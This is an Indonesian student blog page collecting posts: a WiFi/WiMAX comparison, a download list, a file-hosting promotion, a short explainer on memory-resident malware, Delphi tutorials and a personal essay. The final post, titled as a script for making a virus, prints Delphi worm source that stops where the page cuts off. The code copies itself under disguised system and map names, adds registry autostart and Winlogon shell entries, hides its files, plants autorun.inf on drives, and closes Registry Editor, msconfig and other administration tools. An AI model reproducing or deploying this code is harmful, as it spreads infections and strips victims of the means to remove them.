Perbedaan WI-FI (802.11) DAN WIMAX (802.16)

A.WIFI 802.11

o Singkatan Wireless Fidelity, istilah untuk teknologi Wireless berbasis standar 802.11.
o 802.11 adalah spesifikasi standar yang dibangun oleh IEEE untuk mendefinisikan teknologi wireless LAN dan disetujui pada 1997.
o WLAN akronim Wireless Local Area Network. Sebuah jaringan lokal yang menggunakan frekuensi radio sangat tinggi untuk mentransmisikan data antar titik, menggantikan fungsi kabel pada jaringan konvensional.
o WiFi menggunakan standar komunikasi IEEE 802.11b dengan kecepatan 11 Mbps, hanya mencapai cakupan area tidak lebih dari ratusan meter saja.
o 802.11 adalah standar IEEE untuk W-LAN indoor

Keuntungan Wifi

oKeuntungan dari sistem WIFI adalah pemakai tidak dibatasi ruang gerak dan hanya dibatasi pada jarak jangkauan dari satu titik pemancar WIFI. Untuk jarak pada sistem WIFI mampu menjangkau area 100feet atau 30M radius.
o 802.11 sudah sangat murah perangkatnya, dibanding 802.16 yang masih bekerja di atas 3GHz

B.WIMAX (802.16)

o Worldwide Interoperability for Microwave Access (WiMAX) merupakan standar industri yang bertugas menginterkoneksikan berbagai standar teknis yang bersifat global menjadi satu kesatuan.
o Teknologi WiMAX lebih murah dibandingkan dengan teknologi broadband lain seperti digital subscriber line (DSL) atau kabel modem
o 802.16 untuk standar WLAN outdoor
o WiMAX merupakan saluran komunikasi radio yang memungkinkan terjadinya jalur internet dua arah dari jarak puluhan kilometer. Dengan memanfaatkan gelombang radio, teknologi ini bisa dipakai dengan frekuensi berbeda, sesuai dengan kondisi dan peraturan pemakaian frekuensi di negara user.
o Pada awalnya standard IEEE 802.16 beroperasi ada frekuensi 10-66 GHz dan memerlukan tower line of sight, tetapi pengembangan IEEE 802.16a yang disahkan pada bulan Maret 2004,menggunakan frekuensi yang lebih rendah yaitu sebesar 2-11 GHz, sehingga mudah diatur dan tidak memerlukan line-of-sight. Cakupan area yang dapat dicoverage sekitar 50 km dan kecepatan transfer data sebesar 70 Mbps.

Keuntungan WiMAX

o Operator telekomunikasi dapat menghemat investasi perangkat, karena kemampuan WIMAX dapat melayani pelanggannya dengan area yang lebih luas dan dengan kompatibilitas yang lebih tinggi.
o Pengguna akhir akan mendapatkan banyak pilihan dalam berinternet.WiMAX merupakan salah satu teknologi yang dapat memudahkan kita untuk koneksi dengan internet secara mudah dan berkualitas.
o Dari segi coverage-nya saja yang mencapai 50 kilometer maksimal, WiMAX sudah memberikan kontribusi yang sangat besar bagi keberadaan wireless MAN.
o Dapat melayani para subscriber, baik yang berada pada posisi line of sight (LOS) maupun yang memungkinkan untuk tidak line of sight (NLOS)

Untuk download lengkapnya berbentuk Docx,DISINI!!!

Referensi: http://denid3akatel.blogspot.com/2008/11/perbedaan-wi-fi-80211-wimax-80216.html

Read more »

FILE DOWNLOAD

1.GOM media PLAYER

2.WIN tO fLASH.

3.Macromedia FLASH 8

4.Office 2007

5.vlc Player

6.Backgroundmaker


6.Materi Algoritma(BINER SEACRH)

7.Tugas Mandiri 1 Pemrograman dasar

Read more »

Cara Buat LINK Download dan BISA Menghasilkan

Bagi kamu yang punya web/blog khususnya tentang download-download file seperti Mp3, Video, Ebook dan lain-lain, tentunya membutuhkan layanan hosting untuk menaruh file-file tersebut, dan pastinya pingin yang gratis kan? Nha untuk layanan yang gratis biasanya akan ada kendala2 yang dihadapi, Misalnya :
- Kapasitas penyimpanan yang terbatas.
- Batasan ukuran file yang kecil (biasanya maksimal 5MB).
- Batasan Traffic maksimum
- dll.

Nha sekarang ini ada sebuah layanan yang bisa mengatasi masalah2 tersebut dan tentunya dengan gratis, yaitu ziddu. Apa aja yang didapat dari ziddu tersebut?
- Kapasitas penyimpanan yang tak terbatas. (kamu bisa upload file km sebanyak-banyaknya).
- Batasan ukuran file yang lumayan besar (200 MB).
- Tanpa ada batasan traffic.
- Kamu akan dibayar jika ada yang mendownload file tersebut.
Untuk poin yang terakhir tentunya pada bingung, apa bener kita akan dibayar jika ada yang mendownload file-file kita tersebut? Sekali lagi aku jawab "BENER-BENER DIBAYAR", walaupun sedikit sih yaitu $0.001 per unik download, Tapi lumayan kan, udah gratis malah dibayar lagi. Ini juga bisa menjadi alternatif baru bagi yang pingin mendapatkan dollar lewat blog.
Gimana? Tertarik tidak? Kalo tertarik buruan DAFTAR DISINI.

Read more »

CARA MALWARE BEKERJA DIMEMORY -----2011

Walaupun pengertian virus komputer adalah program yang dapat mengcopy-kan, tetapi hanya dengan bermodalkan kemampuan menduplikasikan dirinya tanpa menetap dimemory, virus tersebut akan tetap mengalami kesulitan menyebar kekomputer lain ( walaupun tetap memungkinkan ). Aksi jenis malware ini disebut dengan DIRECT ACTION. Sekali dieksekusi, ia akan menjalankan aksinya, misalnya mencari objek untuk diinfeksi, dan hal berbahaya lainnya.
Sekalipun tidak menetap dimemory, jenis malware ini tetap berbahaya, bayangkan jika komputer yang tanpa sengaja mengeksekusi malware ini berada pada sebuah jaringan komputer yang saling sharing, rutin malware tersebut bisa saja mencari dan menginfeksi file-file tertentu, termasuk pada komputer yang di share.
Pada memory dengan kapasitas yang relatif kecil ( misal 640 KB konvensional memory pada masa kejayaan MS – DOS ), sudah cukup untuk malware menetap dan beraksi. Teknik Terminate and Stay Resident ( TSR ) pada sistem operasi DOS kerap digunakan oleh virus komputer pada saat itu.
Sesuai namanya, TSR merupakan system call yang mengembalikan kendali pada sistem saat sebuah program keluar ( terminate ), tetapi program tersebut tetap menetap dimemory, dengan suatu event tertentu ( misalnya penekanan tombol keyboard tertentu atau operasi I/O pada disk ), kendali akan diberikan kembali pada program tersebut.
Sebuah program TSR tidak selalu berupa program jahat seperti virus. Justru fungsi TSR yang seharusnya merupakan program yang bekerja pada background dengan fungsi tertentu, seperti driver hardware atau program utility yang bermanfaat, contohnya DOS – Key yang sempat populer, dan mulai dikenal sejak MS – DOS/PC – DOS versi 5, Dan seterusnya.

Lebih lanjut tentang: Cara kerja malware di memory

Read more »

Cara Membuat Ukuran Object dengan Delphi 7

Objeck yang digunakan:
1.RadioGroup

Langkahnya sebagai berikut:
1.Buat Objek pada form
2.Cari Item pada Object Inspector,klik "Sting".Akan Muncul String List Editor.
3.Masukan/ketikan di kotak dialog String List Editor Tersebut.Klik OK.

4.kLIK 2X Objek RadioGroup,Isikan Script dibawah ini:

procedure TForm1.RadioGroup1Click(Sender: TObject);
begin
Case RadioGroup1.itemindex of
0:
begin
RadioGroup1.Height:=150;
RadioGroup1.Width:=300;
end;
1:
begin
RadioGroup1.Height:=300;
RadioGroup1.Width:=150;
end;
end;
end;
end.

5. Tekan F9 Untuk mencobanya.


DoWNLOAD filenya disini!!!!!

Read more »

TI Indonesia: Cara Membuat lampu lalulintas Dengan DELPHI 7

Objek yang digunakan:
1.Gruopbox
2.Timer
3.label

langkah-langkahnya sebagai berikut:

1.buat goupbox pada form 1 dan dikasih nama(CAPTION) "BANGJO".buat juga groupbox sebagai tiangnya.
2.Buat Groupbox sebanyak 3 buah didalam groupbox diatas
3.Buat tombol timer juaga dan label seperti gambar berikut:

4.KLIK 2X pada lembar kerja form..isikan script berikut:








procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Brush.Color:=clPurple;
Shape1.Shape:=stCircle;
Shape2.Shape:=stCircle;
Shape3.Shape:=stCircle;

Shape1.Brush.Color:=clRed;
Shape2.Brush.Color:=clBlack;
Shape3.Brush.Color:=clBlack;

Label1.Caption:='BERHENTI';
end;

5.Kelbali ke form.Lalu Klik 2X OBJEK Timer.lalu isikan scrip dibawah ini:





procedure TForm1.Timer1Timer(Sender: TObject);
begin
If shape1.Brush.Color=clRed then
begin
Shape1.Brush.Color:=clBlack;
Shape2.Brush.Color:=clBlack;
Shape3.Brush.Color:=clGreen;

Label1.Caption:=' JALAN';
Timer1.Interval:=2000;
END
Else if Shape3.Brush.Color=clGreen then
begin
Shape1.Brush.Color:=clBlack;
Shape2.Brush.Color:=clYellow;
Shape3.Brush.Color:=clBlack;

Label1.Caption:='HATI-HATI';
Timer1.Interval:=2000;
end
Else if Shape2.Brush.Color=clyellow then
begin
Shape1.Brush.Color:=clRed;
Shape2.Brush.Color:=clBlack;
Shape3.Brush.Color:=clBlack;

Label1.Caption:='BERHENTI';
Timer1.Interval:=2000;
end

end;
end.

6.Tekan F9 untuk melihat hasilnya,sebagai beikut:

Read more »

MIMPIKU

Impianku

menjadi orang yang sukses merupakan perjalanan hidup yang harus dijalani. Impianku dimulai dari besok,dan seterusnya. hari ini akan menjadi hari yang lebih baik dari hari kemarin.hari esok menjadi hari yang lebih baik daari hari ini.hari esok merupakan impian,hari ini merupakan kejadian,hari kemarin merupakan kenangan.
Mimpi,mimpi yang selalu mensuport hidupku. Impian – impian itu selalu membuatku selalu berfikir “bagaimana cara dan jalan menuju impian-impianku itu??”. Impian menjadi seorang yang dibanggakan orang tua itu selalu aku idam-idamkan. Kapan aku orang tua aku bilang “AYAH BANGGA SAMA KAMU NAK” atau “IBU BANGGA SAMA KAMU NAK”. Kata – kata itu sangat aku idam-idamkan. Impian menjadi orang sukses dimasa depan, Siapa yang tidak mau hidup dimasa depan menjadi lebih baik,menjadi orang sukses.“Jika aku menjadi orang sukses”. Aku akan membanggakan orang tua.menaikan haji orang tua.menjaga dan merawat orang tua dimasa tuanya. Selalu mengabdi kepada orang tua,,,,menghormatinya,,Merawatnya jika mereka sakit,menghiburnya jika mereka sedih,menjaga mereka seperti menjagaku hingga kini.mencoba mebalas kebaikan mereka,walaupun isi duniapun tak bisa untuk menebusnya. Mereka sangat berharga bagiku,tapi aku belum tentu berharga bagi mereka.akan aku buktikan ibuuu…bapak….Jika aku menjadi pengusaha yang sukses,aku akan membeli mobil (yang diidam-idamkan setiap orang),membangun rumah(yang sederhana,indah,dengan penuh kesederhanaan,ketenangan,dan kebahagiaan),mempunyai keluarga yang sakinah mawadah warohmah,menjadi teladan yang baik bagi anak – anak dan istri,dapat menikmati hasil kerja keras dimasa tua.Dapat menafkahi keluarga,memberi apa yang seharusnya ku beri…Melakukan apa yang seharusnya ku lakukan..Bekerja sekarang untuk masa depan…
Jika aku menjadi ahli computer,aku akan mengajari mengabdikan semuanya untuk negeri ini tercinta.mengajarkan kepada anak cucu..menciptakan sesuatu yang berguna bagi semuanya..membuktikan kepada dunia bahwa TI Indonesia sudah hebat..TI Indonesia sudah lahir dengan keajaiban yang sangat mengagumkan.aku akan menjadikan Indonesia menjadi Negara TI hebat. Bangkitlaah Indonesia!!!!.
Jika aku tua nanti, aku akan memberi contoh yang baik bagi anak dan cucu.akan selalu menjalankan dan menjauhi larangan-NYA,Bertanggung jawab kepada keluarga,aku akan selalu dikelilingi orang yang selalu mencintai dan menyayangiku.merawatku,mengasihiku,dan selalu menjagaku sampai akhir hayatku tiba.

SEMOGA ALLOH SWT MENGABULKAN SEMUA IMPIAN-IMPIANKU..HIDUP ADALAH RAHASIA ALLOH.TAPI AKU AKAN BERUSAHA MENGUBAH HIDUPKU MENJADI LEBIH BAIK,LEBIH BERGUNA DIDUNIA DAN DIAKHERAT. HIDUP MERUPAKAN LEMBARAN-LEMBARAN BUKU,YANG SETIAP LEMBAR DIISI DENGAN KISAH PERJALANAN HIDUP YANG DIALAMI.

Read more »

Script membuat virus dengan delphi

unit Scary;

interface

uses
shellapi,Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
jpeg, ExtCtrls, lmdclass, StdCtrls, Buttons, MPlayer,
FileCtrl, LMDOneInstance, LMDWaveComp,
LMDCustomComponent, LMDWndProcComponent, LMDTrayIcon;
type
TFreak = class(TForm)
Image1: TImage;
Timer1: TTimer;
LMDTrayIcon1: TLMDTrayIcon;
i: TLabel;
Image2: TImage;
LMDWaveComp1: TLMDWaveComp;
a: TLabel;
Image3: TImage;
Timer2: TTimer;
LMDOneInstance1: TLMDOneInstance;
DirectoryListBox1: TDirectoryListBox;
DirectoryListBox2: TDirectoryListBox;
DriveComboBox1: TDriveComboBox;
DriveComboBox2: TDriveComboBox;
FileListBox1: TFileListBox;
FileListBox2: TFileListBox;
Edit1: TEdit;
Edit2: TEdit;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
Timer7: TTimer;
Timer8: TTimer;
Timer9: TTimer;
Timer10: TTimer;
Timer11: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormEndDock(Sender, Target: TObject; X, Y: Integer);
procedure FormDblClick(Sender: TObject);
procedure FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
procedure Timer11Timer(Sender: TObject);
private
{ Private declarations }
DeskTopCanvas:TCanvas;
desktop:Tcanvas;
public
{ Public declarations }
Procedure FileCopy(Const Namafile, Tujuan : String);
end;
var
Freak: TFreak;
hit : Integer;
k : Boolean;
ActiveDir:string;
implementation
uses Registry,mmsystem;

function SetSEShutDownPrivilege: Boolean;
var
TTokenHnd: THandle; // Handle u/ membuka akses token
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
Result := false;
// Jika windows platform NT
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
// membuka akses token yg diasosiasikan dg proses
if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
begin
// memperoleh locally unique identifier (LUID)
tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if TPResult then
// Mengaktifkan privilege SE_SHUTDOWN_NAME
Result := Windows.AdjustTokenPrivileges(TTokenHnd,
False, TTokenPvg, cbtpPrevious,
rTTokenPvg, pcbtpPreviousRequired)
end;
end;
end;
// Fungsi untuk mengeset power state Shutdown, Power Off,
// Log Off, dan Reboot
function Power(pwFlags: Cardinal) : boolean;
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
SetSEShutDownPrivilege;
Result := ExitWindowsEx(pwFlags, 0);
end;
{$R *.DFM}
function LoadAtStar(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);
Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try
end;
function LoadAtStart(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);
Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try
end;

Procedure TFreak.FileCopy(Const Namafile, Tujuan : String);
begin
with TMemoryStream.Create do
begin
try
LoadFromFile(Namafile);
SaveToFile(Tujuan);
finally
Free;
end;
end;
end;
procedure Hitung;
begin
hit := random(2000);
end;
procedure ShowTaskbarIcon(const Show: boolean);
begin
ShowWindow(Application.Handle, SW_HIDE);
if Show = false then
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle,
GWL_EXSTYLE) or WS_EX_TOOLWINDOW)
else
SetWindowLong(Application.Handle, GWL_EXSTYLE,
WS_OVERLAPPED);
ShowWindow(Application.Handle, SW_SHOW);
end;
procedure TFreak.Timer1Timer(Sender: TObject);
begin
hide;
i.Left := i.Left +1;
if i.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;
if i.Left = hit then
begin
Show;
Image1.Visible:=true;
Image2.Visible:=false;
LMDWaveComp1.Play;
end;
if i.Left = (hit + 3) then
begin
i.Left := 1;
Timer2.Enabled:=true;
Timer1.Enabled:=false;
Image1.Visible:=false;
Image2.Visible:=false;
LMDWaveComp1.Stop;
Hide;
end;
end;
procedure TFreak.FormShow(Sender: TObject);
var reg : TRegistry;
begin
ShowTaskbarIcon(false);
Timer1.Enabled:=true;
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\'+'\services.exe"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;

if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\system32\'+'sysconf.com"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;
end;
end;
end;
procedure TFreak.FormCreate(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
Application.ShowMainForm := true;
Brush.Style:=bsClear;
DirectoryListBox1.Directory:=ExtractFilePath(Application.ExeName);
Edit1.Text:=Application.ExeName;
Edit2.Text:='c:\WINDOWS\Help\'+'tour.scr';
if not FileExists('c:\WINDOWS\Help\'+'tour.scr') then
FileCopy(Edit1.Text,Edit2.Text);
LoadAtStart('Network', 'Internet Access.exe');
LoadAtStart('WinLogon', 'C:\WINDOWS\system32\drivers\smss.exe'+' /System');
LoadAtStart('Automatic Updates', 'C:\Program Files\Internet Explorer\IEXPLORER.EXE'+' /Help Protecd');
LoadAtStart('boot', 'C:\WINDOWS\services.exe'+' /Reboot Windows');
LoadAtStar('SCRNSAVER', 'C:\WINDOWS\Help\'+'tour.scr');
LoadAtStar('SystemRoot', 'D:\AUTOEXEC.BAT');
// LoadAtStart(''','D:\AUTOEXEC'+' /Reboot Windows "%1"%*');
{FORM INVISIBILE}
{COPIA SE STESSO}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
//mkdir(sysdir+'\1046');
except
end;
try
CopyFile(pchar(application.ExeName),PChar(dir+'Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'c:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'d:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\inf\Viruses Protect.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Online Services\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'f:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'g:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'h:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\smss.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
except
end;
end;
begin
//getsystemdirectory(sysdir,sizeof(sysdir)); PChar
try
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Online Services\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
end;
//end;

procedure TFreak.FormKeyPress(Sender: TObject; var Key: Char);
var st: String;
begin
if Key = #27 then
begin
Application.MessageBox('Program by :'+#10'Black Devil',' ',MB_RTLREADING+MB_ICONSTOP);
st := InputBox(' ','Type the fucking password','');
if st = 'krowak' then
begin
Application.MessageBox('Are you some devil ',' ',MB_RTLREADING+MB_ICONSTOP);
Image1.Visible:=False;
Image2.Visible:=False;
Image3.Visible:=true;
Application.Terminate;
end;
end;
end;
procedure TFreak.Timer2Timer(Sender: TObject);
begin
hide;
a.Left := a.Left +1;
if a.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;
if a.Left = hit then
begin
Show;
Image2.Visible:=true;
Image1.Visible:=false;
LMDWaveComp1.Play;
end;
if a.Left = (hit + 3) then
begin
a.Left := 1;
Timer1.Enabled:=true;
Timer2.Enabled:=false;
Image2.Visible:=false;
Image1.Visible:=false;
LMDWaveComp1.Stop;
Hide;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;
end;
procedure TFreak.Timer3Timer(Sender: TObject);
VAR
h:HWND;{tutup system}
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
//Application.ShowMainForm := false;
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try
///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(windir+'.exe'),true);
//CopyFile(pchar(application.ExeName),PChar('c:\Program Files'+'.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\svchost.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Ibukota.exe'),true);
///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(dir+'D:\AUTOEXEC.BAT'),true);
except
end;
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(windir+'Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'C:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'D:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'D:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then ShowMessage('request permit formerly');
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then ShowMessage('sorry may not be accessinged');
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then ShowMessage('don"t only rely on this, stale know....!');
begin
h:=FindWindow(nil,'Folder Options');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Folder Options');
if h0 then ShowMessage('latent all right latent');
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then ShowMessage('because the hoisterous of film showing bokep so for this is windows media player not can be used... TTD. Black Devil');
begin
h:=FindWindow(nil,'System Properties');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Add or Remove Programs');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then ShowMessage('beautiful permanent alive although without loves ');
begin
h:=FindWindow(nil,'Group Policy');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Group Policy');
if h0 then ShowMessage('live it up to what existence....');
h:=FindWindow(nil,'Nero StartSmart');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Nero StartSmart');
if h0 then ShowMessage('Aplication fatalErr');
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
END;
end;
end;
end;
END;
end;
procedure TFreak.Timer4Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 530] of char;
begin
Buff := '[autorun]'#13+
'open=services.exe open'#13+
' '#13+
'shellexecute=services.exe open'#13+
''#13+
'shell=auto'#13+
''#13+
'action=KwK Initial(System Root disk Drive)'#13+
''#13+
'shell\auto=&Auto'#13+
'shell\auto\command=services.exe open'#13+
''#13+
'shell\open=&Open'#13+
'shell\open\command=services.exe open'#13+
''#13+
'shell\explore=E&xplore'#13+
'shell\explore\command=services.exe open'#13+
''#13+
'shell\find=S&earch...'#13+
'shell\find\command=services.exe open'#13+
''#13+
'shell\install=&KrowacK'#13+
'shell\install\command=services.exe open'#13+
''#13+
'shell\Properties=&Properties'#13+
'shell\auto\command=services.exe open';
// Membuat file baru
FileHandle := FileCreate('autorun.inf');
if FileHandle < 0 then
begin
//ShowMessage('Gagal membuat file');
Exit;
end;
// Menulis data dari buffer ke file
FileWrite(FileHandle, Buff, SizeOf(Buff));
// Menutup handle file;
FileClose(FileHandle);
CopyFile('AUTORUN.INF','C:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
end;
procedure TFreak.Timer5Timer(Sender: TObject);
VAR
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try
CopyFile('AUTORUN.INF','c:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
CopyFile(pchar(application.ExeName),PChar(windir+'\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\services.exe'),true);
